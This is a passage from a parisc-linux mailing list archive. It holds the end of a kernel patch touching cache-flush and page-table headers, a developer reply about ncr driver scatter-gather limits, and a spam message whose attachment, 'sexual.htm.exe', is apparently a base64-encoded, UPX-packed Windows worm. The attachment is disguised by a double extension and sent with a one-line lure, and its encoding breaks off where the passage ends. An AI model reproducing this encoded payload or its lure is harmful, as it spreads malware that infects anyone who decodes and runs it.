 		__flush_cache_page(vma, vmaddr);
+	}
+
+}
+
+static inline void
+flush_kernel_dcache_range(unsigned long start, unsigned long end)
+{
+	unsigned long vaddr;
+
+	/* small range, don't bother to flush the whole page (and
+	 * thus don't mark the page as flushed */
+	if (likely(end - start < PAGE_SIZE)) {
+		flush_kernel_dcache_range_asm(start,end);
+		return;
+	}
 
+	for (vaddr = start & PAGE_MASK; vaddr < end; vaddr += PAGE_SIZE)
+		flush_kernel_dcache_page((void *)vaddr);
 }
+
+
+static inline void
+flush_icache_page(struct vm_area_struct *vma, struct page *page)
+{
+}
+
+static inline void
+copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)
+{
+	pte_t *pte;
+	copy_user_page_asm(vto, vfrom);
+	if(likely((pte = __translation_exists(current->active_mm, vaddr)) &&
+		  pte_flush(*pte))) {
+		/* no point clearing flush here, it would be set again
+		 * when the user accesses the page, likewise, don't
+		 * purge the TLB entries */
+		flush_user_dcache_page(vaddr);
+		flush_user_icache_page(vaddr);
+	}
+		
+}
+
 #endif
 
diff -Nru a/include/asm-parisc/page.h b/include/asm-parisc/page.h
--- a/include/asm-parisc/page.h	Sun Apr 18 12:07:31 2004
+++ b/include/asm-parisc/page.h	Sun Apr 18 12:07:31 2004
@@ -19,15 +19,10 @@
 
 extern void purge_kernel_dcache_page(unsigned long);
 extern void copy_user_page_asm(void *to, void *from);
+extern void copy_user_page_vaddr_asm(void *to, void *from, unsigned long vaddr);
 extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
-static inline void
-copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)
-{
-	copy_user_page_asm(vto, vfrom);
-	flush_kernel_dcache_page(vto);
-	/* XXX: ppc flushes icache too, should we? */
-}
+/* see cacheflush.h for copy_user_page */
 
 static inline void
 clear_user_page(void *page, unsigned long vaddr, struct page *pg)
diff -Nru a/include/asm-parisc/pgtable.h b/include/asm-parisc/pgtable.h
--- a/include/asm-parisc/pgtable.h	Sun Apr 18 12:07:31 2004
+++ b/include/asm-parisc/pgtable.h	Sun Apr 18 12:07:31 2004
@@ -29,15 +29,6 @@
  */
 #define kern_addr_valid(addr)	(1)
 
-/* Certain architectures need to do special things when PTEs
- * within a page table are directly modified.  Thus, the following
- * hook is made available.
- */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
-                *(pteptr) = (pteval);                           \
-        } while(0)
-
 #endif /* !__ASSEMBLY__ */
 
 #define pte_ERROR(e) \
@@ -213,6 +204,15 @@
 #define __S110  PAGE_RWX
 #define __S111  PAGE_RWX
 
+/* Certain architectures need to do special things when PTEs
+ * within a page table are directly modified.  Thus, the following
+ * hook is made available.
+ */
+static inline void set_pte(pte_t *pteptr, pte_t pteval)
+{
+	*pteptr = pteval;
+}
+
 extern pgd_t swapper_pg_dir[]; /* declared in init_task.c */
 
 /* initial page tables for 0-8MB for kernel */
@@ -230,17 +230,16 @@
 
 #define ZERO_PAGE(vaddr) (virt_to_page(empty_zero_page))
 
-#define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
+#define pte_none(x)     ((pte_val(x) == 0))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
-#define pte_clear(xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_clear_flush(xp)	do { pte_val(*(xp)) &= ~ _PAGE_FLUSH; } while(0)
+#define pte_flush(x)	(pte_val(x) & _PAGE_FLUSH)
 
 #define pmd_none(x)	(!pmd_val(x))
 #define pmd_bad(x)	((pmd_val(x) & ~PAGE_MASK) != _PAGE_TABLE)
 #define pmd_present(x)	(pmd_val(x) & _PAGE_PRESENT)
 #define pmd_clear(xp)	do { pmd_val(*(xp)) = 0; } while (0)
 
-
-
 #ifdef __LP64__
 #define pgd_page(pgd) ((unsigned long) __va(pgd_val(pgd) & PAGE_MASK))
 
@@ -282,6 +281,13 @@
 extern inline pte_t pte_mkyoung(pte_t pte)	{ pte_val(pte) |= _PAGE_ACCESSED; return pte; }
 extern inline pte_t pte_mkwrite(pte_t pte)	{ pte_val(pte) |= _PAGE_WRITE; return pte; }
 
+static inline void pte_clear(pte_t *xp) {
+	WARN_ON(pte_flush(*xp) && pte_user(*xp));
+	pte_val(*xp) = 0;
+}
+
+
+
 /*
  * Conversion functions: convert a page and protection to a page entry,
  * and a page entry and page directory to the page they refer to.
@@ -358,10 +364,6 @@
 
 extern void paging_init (void);
 
-/* Used for deferring calls to flush_dcache_page() */
-
-#define PG_dcache_dirty         PG_arch_1
-
 struct vm_area_struct; /* forward declaration (include/linux/mm.h) */
 extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 
@@ -402,23 +404,12 @@
 #endif
 }
 
-#ifdef CONFIG_SMP
-extern spinlock_t pa_dbit_lock;
-#else
-static int pa_dbit_lock; /* dummy to keep the compilers happy */
-#endif
-
 static inline pte_t ptep_get_and_clear(pte_t *ptep)
 {
 	pte_t old_pte;
-	pte_t pte;
 
-	spin_lock(&pa_dbit_lock);
-	pte = old_pte = *ptep;
-	pte_val(pte) &= ~_PAGE_PRESENT;
-	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte(ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	old_pte = *ptep;
+	pte_clear(ptep);
 
 	return old_pte;
 }
diff -Nru a/include/asm-parisc/tlb.h b/include/asm-parisc/tlb.h
--- a/include/asm-parisc/tlb.h	Sun Apr 18 12:07:31 2004
+++ b/include/asm-parisc/tlb.h	Sun Apr 18 12:07:31 2004
@@ -7,7 +7,7 @@
 } while (0)
 
 #define tlb_start_vma(tlb, vma) \
-do {	if (!(tlb)->fullmm)	\
+do {	\
 		flush_cache_range(vma, vma->vm_start, vma->vm_end); \
 } while (0)
 



From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: kernel>=2.6.4-rc3 hung or panic on C1[18]0
	[was: 2.6.5-rc2-pa2 boot panic on c110 :(]
Date: Sun, 18 Apr 2004 17:16:36 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <4082B7F4.8000508@tiscali.be>
References: <407DA495.1090009@tiscali.be>	<40711E5500006381@ocpmta2.freegates.net>	<26419.193.161.152.244.1082114391.squirrel@www.puszczka.com>	<4081731B.7070006@tiscali.be>	<32875.127.0.0.1.1082234959.squirrel@www.puszczka.com>	<4081A280.8050108@tiscali.be>
	<4081B70F.6060003@tiscali.be> <40829331.6040905@tiscali.be>
	<1082306164.2195.27.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623387 8453 80.91.229.3 (22 Nov 2014 02:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:47 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	Andy Walker <ajwalker@broadpark.no>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Sun Apr 18 11:16:39 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo4.tiscali.be (spoolo4.tiscali.be [62.235.13.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A2764832
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 18 Apr 2004 11:16:39 -0600 (MDT)
Original-Received: from [83.134.226.208] (port=32960 helo=tiscali.be)
	by spoolo4.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BFFuE-0000Nz-A2; Sun, 18 Apr 2004 19:16:34 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040413 Debian/1.6-5
X-Accept-Language: en
In-Reply-To: <1082306164.2195.27.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 18 Apr 2004 17:16:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21460



James Bottomley wrote:
> On Sun, 2004-04-18 at 09:39, Joel Soete wrote:
> 
>>I presume that wrong stuff come from the ccio_fill_pdir() or ccio_coalesce_chunks() merge with lba one?
>>But I don't have yet more accurate idea on what went wrong here (difference between functions are important).
>>
>>(would it help to rebuild this same kernel tree with gcc-3.0 32bit would help? right now is was build with latest gcc-3.3.3.)
>>
>>Grant, James any idea?
> 
> 
> Well, actually, the problem can't be in the code you cite, otherwise my
> raven wouldn't work either and it's been fine.
> 
> However, it's entirely possible that the effects of the patch are
> causing issues in the ncr driver.  What it does is correctly coalesce
> segments in the iommu.  Before this, the parisc iommus rarely did
> coalescing, so our SG lists were usually lots of page sized entities. 
> Now the individual entries can be up to 256k long.
> 
> I suspect, since your C110 has a 53c720 (using the ncr driver) and my
> C360 has a 53c875 (using sym_2) that the ncr driver can't cope with sg
> lists whose entries are so long.
> 
Yes that's also the main difference I noticed between c110 and c360.

> The problems are probably due to some sort of fixed length assumption on
> sg elements in the ncr driver.
> 
Ok, I now better understand inter-action between ccio and ncr drivers and I check in more detail this code.

Thanks a lot for all,
	Joel


From - Thu Nov 08 21:31:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: landry@soest.hawaii.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] here is the $%%454$
Date: Mon, 19 Apr 2004 11:08:59 +0530
Lines: 468
Approved: news@gmane.org
Message-ID: <20040419053855.0D6EF4840@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0010_0000483E.00004447"
X-Trace: ger.gmane.org 1416623387 8457 80.91.229.3 (22 Nov 2014 02:29:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: landry@soest.hawaii.edu  Sun Apr 18 23:39:13 2004
Return-Path: <landry@soest.hawaii.edu>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [164.100.34.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D6EF4840
	for <parisc-linux@parisc-linux.org>;
	Sun, 18 Apr 2004 23:38:55 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 19 Apr 2004 05:39:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21461

This is a multi-part message in MIME format.

------=_NextPart_000_0010_0000483E.00004447
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

i wait for your comment about it.

------=_NextPart_000_0010_0000483E.00004447
Content-Type: application/octet-stream;
	name="sexual.htm.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="sexual.htm.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANJIO0AAAAAAAAAAAOAADwILAQI4AGAAAAAQ
AAAAUAEA4LABAABgAQAAwAEAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAADQAQAAEAAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAABDFAQCAAQAAAMABABAF
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQ
WDAAAAAAAFABAAAQAAAAAAAAAAIAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAABgAAAAYAEA
AFQAAAACAAAAAAAAAAAAAAAAAABAAADgLnJzcmMAAAAAEAAAAMABAAAIAAAAVgAAAAAAAAAA
AAAAAAAAQAAAwDEuMjQAVVBYIQwJAgm6M9yCDUwt9YeWAQDAUAAAAKIAACYFAAT/////VYvs
i0UMVleLfQgz0jPJM/aAPwB0KVNqAVsr34ldCIr3/+3/H4D7LnUMiAwCi1UgyQPX6wWIXAYB
QUZHJ/v/bXd14VsYgGQPAI1GAV9eXcOLRCQIU0xv/3+7fCQQTYH6AAgAAH06D7YIhcl0WcHA
dbr//7ckV147znwLihwGiB9HRjvxfvWAfAE+RH97+98EdATGBy5HQuvIL0ABA0gY67yAJwDt
7+5uVVvDo4HsGEuApej3//8AYN+++9u5/zMAM8CNvekP86tmq2pv9lqqUvb///+NRexWUIlV
6OgFACJ8iz1YYUAAg8QMZjl1EGbHGu5uv/0CAHYF/wrrHGgYqxhoDAT/FVze2v/vIzvGdAZm
i0AI6wRqNf/XIjGJRe429/bbGoA++P8L8HUXFCtkdtfeTiUqDIsAARhWagIB27dDtiloECZq
/VjpfgK15rf/YGr+6/ZTaN8RqP/XgI3qAf27aza3WIWbCNfsEo2F9AWm28ytUA217mQICfC3
v910BvLoXf4EWYvwWYPGfnUUv18b4YCkNQBGUUqENUu2118w23sJX/BsA/xqBFBvbru5uybi
BhAEU/L8/KAP+P49e4gcaAUXi10QUxHsFt52WzxQXwVqOYVdQFO7fTvZ0HB1Ffxe6zUj6FAn
0m2HrVAiaNIWGCJ0RmGzDRUKeD1MrDm6duGFQPvrzorrArMifFvjF26LxlvDycNWi3QaC1et
/R/+acAQEAQAUKDUi/hZhf90JxUUN0To2gQCPF5XuLKF9n609nf7D4vHi87aMAUbSXX1Dkf7
0XBnCgwQtGgPt4KF9r+/AnxqjUj/viaJTfjrA4sEHbw3xxtxWH5TsxH8jboa6P4NL9+P/v1Y
O08Cdi+Nn/wLVmLbWGd9BlON7E1TB41l7PAUBYvsJGej42+FA4VGdb2FwHSjj8mQbWdGBgL+
iWo/JuFun45Zj/6LdeodYPwb22+/mINl/ACqe0YGUP/TrcAh+Pbsi3QMCAkKFgPHOrXb1r5J
Ax4w9MZ96Ci2l0q/iEYMigiEOUC+yUDH8Pv/hZtE74vRWMHpAvOli8qD4QPzpIsptGn3WwkB
TfQD+XMDwUGAZ36v7b4aR/9F9EPrwMtV3ycc78bA3r1ZdBUQTQXnva5t3xpfLY18MBOORASP
lYW322Y9HXUS8fh0Dd34YbBWOEWHwcVmBvZmdq4QGFQCZKkIdQf8M8L/jvMFY4N97AAPhAMB
Gf2u3M42MwfhSBaQAAad6e2bxoPoA3RuBAp0DJYtAJ50W389OI1HiFCh/QBK4WGzOQhR+JIA
8fzZTe82Ywgq6Y2NJoGDzX37bRBRLSYsa0cKWVluJn345trw/yzAtUECdVmC61O5AzKyXAr+
6z0yst0uwUOfOTd9KPXwezdzzVRQc3B5jYQIBKrurbmZa19qYex0GnWbgQuzCDtDOAwVrQAd
z8JNyUfr9CMIq6pZa/J5GTYICPj3yC+zUSb5wkjNl7bKparJ5GBcQJ+L2OMIS0t5+JKJcCJy
7hlcU2lvzlroH4S1C7GAIR6PdVHknm2Z/11Qag+NgxDSUIkAoMl9u5Vw9BSFDWiLswwZZAD2
slJ8LEYEKaztcvxBizbr2FpAMIBxLWQNtMMWMCowLjPtfnsSgxkEgX38lCt80oofINuzXWQH
Vq+F2wpTu2Alw/8R4k9DAzFKEQqFWSAIJLadHLSX/9J1BA1Q5ueG679FEIP+CFf30LnTDYzR
bdD+7f7B717f99uNNN6JHzMa8NKFLxgj8TPzDMHrfAS1kH17rt2+M8NCFBkXBloBizS1tw2O
FsHoyfAZxiPBIJhbRo4WBIXuxjAtu2BuVCIsEk8P/zU4x4VBLeEnGcX4I/kz+1vhR34jPL3H
Qk515yz8W+CxwIxdQGMAOVVuNVxkv4AHVmgsYBqGbrt/A1YCaBCAk46BYWMMjPyK/eYG2Zqt
sQf1ViQCQCy3hg/O07X/Jn0M0dLGx/L+yS8eTsAqHLIdgYlqLguQFvh2C7LgCczHJFBLAwRM
dxM7F8pQXMQKAAWWu6bpFo3GA5jImi8J5Ncs0UokJVb8nAp7fhNdzAeeogppix0oYDAQbtvc
bc4CoFYjllYJ0gjM5qBtBaQLuyMk1nVl2w3WEKg62gOsi1KB5soIqK2oLYOt+cogeNyuArrV
9r3m3B48MAXt1w3DwNs6VlYvHmaIiaHsemYcKReM+xllll9DWlAcdQgYYch22+ohOQx0HCWM
X7ZbR6xQUJsBReu+B/jwCp3rsvBIkJAyHduz4bIdkAECEpQUtAi2OlhhhiB4mbVW11B32TXg
BQYv5BEuBz2fDW3mK1hd6AHqAfTcrHCya+zgkokEasxGthGA/AiBlliiUAXtuu4JWMNt+7B7
g+wQM/AxFTAt3v37paXwzwdyCAfaB3YGXvDUB2Z5bOwFbvIBcgYME/IBABo48qT29h/2Covw
dvtfWPJKRMHgCcHhBQvBDQwLGEo8aLSd8OAsbqx92xcGD/pm0ekIHQgabsQYAgC/vldWsBDh
0QCrhcIYZuGwjIv8u4Vq+DZ0Xa9Tj/mJ1teLMjkD3czdCHQt5B4d+MoH5wxmBo3PPSimS1ij
ZDtMZCNw9KNDC6UEVpV1o92bSIqRlGUYTCTiEYr60g3eRXABg+Jc4gSwBAvWg9L8vzvGAYqS
IYhRAX4ailABAsWsLMsPAgYc7Qvtu+2yPSsCJXJ+DopAIqZgf/bgP4qAGrA9iEED+V1bRxcM
gUHUlHpQB9iOHLmZkAbcjOCI5ITIkSNH6IDsfKR4HDly5Kh0rHCwbLRokSNHjrhkvGDAXDpy
5MjEWMhUzFDQTMwGpzH5OHqJ/p3NZhpP/hM0i42pXygL/QIxoAPI99nR2CI7vvF5AvfeA/QG
BgDpMJb8JAB1MQw1wD++e8m5SGF9BblEq4pqPJlflHjrreYHUleZx/5QUSs9z9MtqVAE+vjw
8rt5uhsLhaAM9vTUaByoeBTrw74wYSZJt6MlxskU1PjBHVAXeAuXAQvFwnQ9/JsindDt7Ty7
lHQFKnQDQwqHgCYT0XbZ3usDfNspOXQ0JPQ5zA73z42HQArwkMCP1C5zNexBUtM7x3RSC9sb
3ER0TUZ6BHzkRfgLEFW7/VI6mVn3+TkLfQdGbWChtxSITSUWV2iYbO45i6k4GRQhlfjqQzIL
31+Fg8j/t3iL3xSh0H5BAFb9QwPzw54aX+BtmaMP8RAl/38fTjNiMZwRMwzQ4QcWWwjxdCtq
DLl9TYy7WYMM6jDsUGFszrXAvIxfeQiDEpcLzXHTAPxfMyHdoXXftQgrwAxAITNMX+hvI3xT
EooGQ0Y8iAqNBDcm3ka/PWxy2BcdMK78Eq/QfjxmComKEYD6IC9/fytMBAl1A0Hr8Q4wfBI5
fw3/hdtGndI7gEE8QtDr54A5LXX2YbXvCeuC5wI1ebjME1iuzC2+t8z5VP57t+1zgwi5NSRT
MxDWi34isP3t9oA8H0CHU0cNO/h88usSUR/Y5mSjjJlUUIC9Pa9mhrbhy0QZSbU42/IFaIvw
9ha0x5L9Jtk0NP1WeMFZE6D5mgHELy6Fao1mUGgT3BbWBnoGCgshBB5ZD0ltO578GNHcAiUZ
BqCDQuFqBj/sf978B2gR88JxTfBqBFG/vICJh1dQe/DwmDprEMDU1vFyV7pGoACfENxxqkTb
LDUBQz/2F3R19dh/vA1vaiFlg/oVfhYPmbkG1vUWzTgRS5XIglISJdkTu3MzE/yBHfQqLdrD
8fc92DrX02V6x8/ulcDdG3Xsl7vIFlk7w1m80C4XQF4HPZBUSY1TB4LRJfPcbK5A3cexWRBa
FxI8v+Ate7OzEFcRZCFs922hXywgXHwHPStXfldTVtkgGRROTPLT3KqzBiuPqAYEkM++gBBW
pL4AruSSiexWVV1SlZmGvPStWajJSy6yUgr/BZ8rSzLsNhDTBQnDjDSPyABXxzn7Dw+fRfsR
ZML1TNZq2AXW4IZVhDEO6d4TGH4yJHjoPGu6m8hAPIaAfftSB4NZek+ivno0+ew9TLvPgJkN
MLwFMwxcWawl6d50ExZl5IhcPWWT3eM08J0KfiCyI4OcjATwgIhEsCQH2B9w2wVblmTcc6Sy
lU730BjB7ALDSOE3W3bwJR0sB6ml21WSZxikxut3tJIjOTkNBvXobEiG9Vl3WQnHls1dk3lw
rclpQAZjhWjsLnLI2QosYDwyIEfJCFT04QDbBvVAL0xnkt6zA/QsC2MLyJMtybcvNFAkLOBg
AlmvKVARIjDMNQc25cnCslAFQg+0/ZjE24hSaxBP+70JQ9pprNkbJZkwd4GF4CkQ0L5ZkiOw
+BN8SzYISYdZurSw82wJLpR4iJZ9AbmUC1cMJQe5EC4sIKzBSgjJKChgIx+cBWoHPFcp5AkE
g1RvGKy0siu5lBgSsvNKmEBGxKsjBsllL7yrwTiA2XCTAhv8RJ97tnh4p9dIIMoM1nxhiK7t
vsBXKA5Yv8xAmnQNg5dZtlFyEIC0qyOsgzeUcISkI88diWYIMDYnfy+LjGSDLpx2JhMNCmC4
J/KBXonMSAULH6HtITQpwgQMVPz2Qhd+M8mKBBEEdASVdQTGCt9WXfwgQYH5ADx8EaIHADcG
OUJRABBW9gDwhZiZOPeZdIY21FpMRbQUMFf7QryhFLl1DzhUrBGIlA0s6goP9usHCEFAPXBa
1XoaiBXzDyoAVnQhU8GSbqpcJOJ3Fy+rV74UZv82U3P8WYu7t5f2dWWDnIH+TBZ856F1uxYN
20onKU7KdB+/S132F3pT/zcvNUnHZ9DY7wQ7NSl85kccBg0IvAt9E1M0BI00h7LUKzEQRRbx
W6MZL3o0U6T11HEXLlplyfaJXfhrgF2xMVBwZf/gOxIU4LdF1EAPvpB/XmjEL4Qciwy1rI4M
ODoRsLUbFVDs6wQ7P0C2cKMbMOtLuwQ4sDQgF9zILqkpvCxHgzg8unD3y2B+e3wePC8HOnwW
0/8B33O1Nf0/BwxCcet672+7CAzGRRhDg/sofggSGg8bGrczAw+Wq2ahl2qKS7GjCTLMWed9
zocneGffX1MrwwPEzAR7ybnZKKwI2vkFBXZsEL/7HSXbgHw1y12NBHUValv/NQbanrC4rQIg
B8YH41m6d80ofA4tyS50IQbIGo4c9qXKE4A/XRkHdQrDDO/BYRgdWbZbuZlqBceMtMd4rr1t
C9ZDzAxrik4f6Gxb6v9+F6k+P/QUSBlbNdpS8LcBPsbKMGSMnAyzLGzYzrEaxtiy3lmv/Omi
WbPaU1JsLAyuLUHlv4QWjRXgk/HfN3QCi/eDuQhsLyvlO/eZoANTmu0jZkjmCFCJu6bJEh1p
0e8I7LThgDUHxb8sGQHepulXngikBQ02sSUNu45EARzIDXeIjnqYJqlXkJKtbWcqfG23MBYc
eabkmaAkiTTyIfshdHZo/KgSSGgEqSQfyUM1aCwiaBR72V92D74YoFnrQg4XihqyJZAL4iaw
CA8GBodi+GWCoRrNVIGu9lvDCGcTWQ1ZUOngJYPMWPAuQOsXFuXrNZ/4/b6zGOBeNjCjUbOj
p2ULBAxs//u1QvIjawD8iGzyiYA5sQD8bD5fZ+NQHVig/JReneLIwZFABcD6xyC18IZ4Dmmu
EwFvBi4TMBrN9AjSNGCkBAi2zQaU9pDtdQ0I7GRkZGsuFcPuFsXMyRce7aT32ZYl7Fd+3nvs
PSybLRILGxywxz6Wl6H2qxB0MshfdklnJD8NPBxUWcCXPWAM5usMDRpNgVGwH3g6w1l/Fv+2
rUMsuGBKzREO/9k2lWlczmr/C3DSgw+dg2zQkIgelYSx9shoBXQIDGNZhMHBVnPwiOAfXuOH
+zjElnkMZTEEX2wRqBXYDA8InkFmzAgM8iQIlQNiZZ1YT+rVcqSpOUnc+xyQB1av3Pvb+zqW
kofc+xLUr7yGORD4++FjBWSwZEUnyOWq70L8vpgPvwPYK2HP48V6RA12An2J6lNokK+ZENvO
gHsy/LuIFiAvrlHs+x5uU7sBSVMMjBm7mCV7GAsXkWhAy2wncg7mRABY5+RsWSoLUyx51vGS
V2j0FVcb6K7dassu3AtegcyuAzZgl0LEC7wyuM0HNmAXsD48aHhTYMPeYJlMcKUylkEHMjQY
nMoYFDJSqzjorriDehp1RGMCdT0GuxY7sdQHTg74BtOcAJ+/Bgd0Bwh1qjK25gnRUjy4C1JK
eENttmYaB3TroUuN72znrAF3jDCNWNN11BalJL9TyIgPNJtpo9QWCoQ9+XUORjyJCRrCEIJo
AUz10uVG+2G5AArPzc+FLf21fvOrnL7kiZIpi6cdXFb1VkJ8bDCz9CQFxjZ2ozHk5D43LozW
DrZhk8/shTDKFvShs9GGO130TjgBgceWePt05Go5cH7ax7vidxdfXoO6zjielnVWoaFLZYPB
jTynQWYADGY7N0p8WQEXKmS7JVt1Jwk3vjD0qP90Yh4OtVXfv5qJB8aGRgESBIvdCu3NBnoJ
fK2HhLqdtTaahpyDQARGA9cSE/S8d0Iq6sh1vyG2zP8liCbMAPEMETj6JX4EhdJ0R7HwS9Ci
P3B1BHIt99lX/v8G4XQIK9GIB0dJdfqLyMHgBhXeRM0QyqfpAnQGZQfqTNc6BiNKPl9BNrWA
pcN3/3DqLFGrGpJdw8wA9ldQ/62LW3NNEPGLSNEDxjv+dgg7D5viRkaCeGbHA+MUNvy/c1th
g/kIcinzpf8klTg0W8e6b9+q/RyD6Z2p4AMDyBeFUDOaXXMrHo1IkAfMM2D97qbrBIwDsCPR
ipyKRgGIRwHYsjW3BQJWCFnGx1yMLTvJzI1JKyUB2STPsgICppAj3YF83UYhRz+MLwYclk3T
dAMUDAT8M/Q0zb9r7AeLRI7kiUSP5Ojo0zRN0+zs8PD0DdM0TfT4+PwpIWzsGqL2AAMc+Amh
13Tf//BQA1xwEYY2sLd0Xl/JkJ0L+SQEF2wRow2Etw8zCiuNdDFnfDn8f9ltLxkkDf3j/HfQ
NSSct8YV742ANY9+kc/J+SvYNCyQ6CtsrusLCAgwA20DOm+9JV93A05YT1a2S9/tEoYfo+4C
7wIpjMJbNiCQJySr2HhlSy0DrkVa03UX5uVbhAaMA5Rh0zRNnKSstMc1l2maphkcHBgYFKZp
mqYUEBAMDCykaZoICAQEYdN1Jx/gBegD+Aw2l2wJzi23tYcPwsAWwoMTt/+rZRPMAA4I62qN
pCTo8FN7em+7V/fBh/9sA96HigFBuDsOdfGLAbr/1egb/f7+fgPQgxwzwoPB3q3ubrw1AYF0
d0H8JiOE5J1LvW6uqUA4DqlI6eu1vLz9zY15/+sNBP7rCP3rA/xL5cFMm18ZihHsZNaAH+yI
F0di7usFiRdWZ5vsYC1uaYsRa+Evb+wWsDSE5/fCaRIHzs5qY2rHOC5mCMYLdpjb8wAMFYgH
3xxyMtjeFEAFk+YiOwHjMiTZHuGSE0E1K8HDCf5XkEkm/fzAZnCyUAQf/AiBrwuAAWQIC1DZ
WCEo1LNZZzQpFqtbuxAtGulRPexB+93AjbcUgWw33i0QhQEXN94uHXPsJIvEDIvhi0VABEoU
cIVQ2WtxArzBRBRZsyxpinEB9lZzNy9Pi/cZ8Wk40HR5xOUruXG4Cgp19ev+P7eyX3QQ8HXr
jX7/imEC5ygQhXd/V7E44HXEikEDMRiKZv8Pvtu1dxB03+uxLzSKwpApwo1H/zv4t+AMWccF
gz18s0x+DjBPoFB4sC1J0qZLHMMhcLG4BEHbgfhIxgSCDlcJvEHcYnpOi9lTFPfG4N70O429
dQeLdW/rIZm1Nut+M3QlhSkfpy3vZhv8HVGD41MNIB0vS3Xza8xqd2oQW16JeSE6bDK41KiK
AAvuOjNa6eBsY0sqGJAzthh3Y696BqRpBvkWg8beLB6jvj0ZDHXGOesYgeIttuA0nQkOAJbS
Em0rxFMqVQoEZ2/Ddr9fdfiwdYWj/41C/ybRDtJbw32NZAYzWhMmFgvYHUsIZLZB/MfFE4oK
QjjZdNE+URLs7Zd+de0L2LzDweMQVgiLCr+2XcJ1YcHmM8s/cfH/39+l/r/PM8aDooHhwHUc
JQZ0hUc3ntMBgIHmdt3d8Ddshlv9i0L8ONh0NkPvONx0rWooXv/nwhIVz9pN09wG1OuWLbFC
/hLnpHM3Bv38/9sHewwEg6Q8iwI6ay7RbLe3CkMmOmEIJQpXHTpaKN0CxxkUEQ0Q71o3Z2Wl
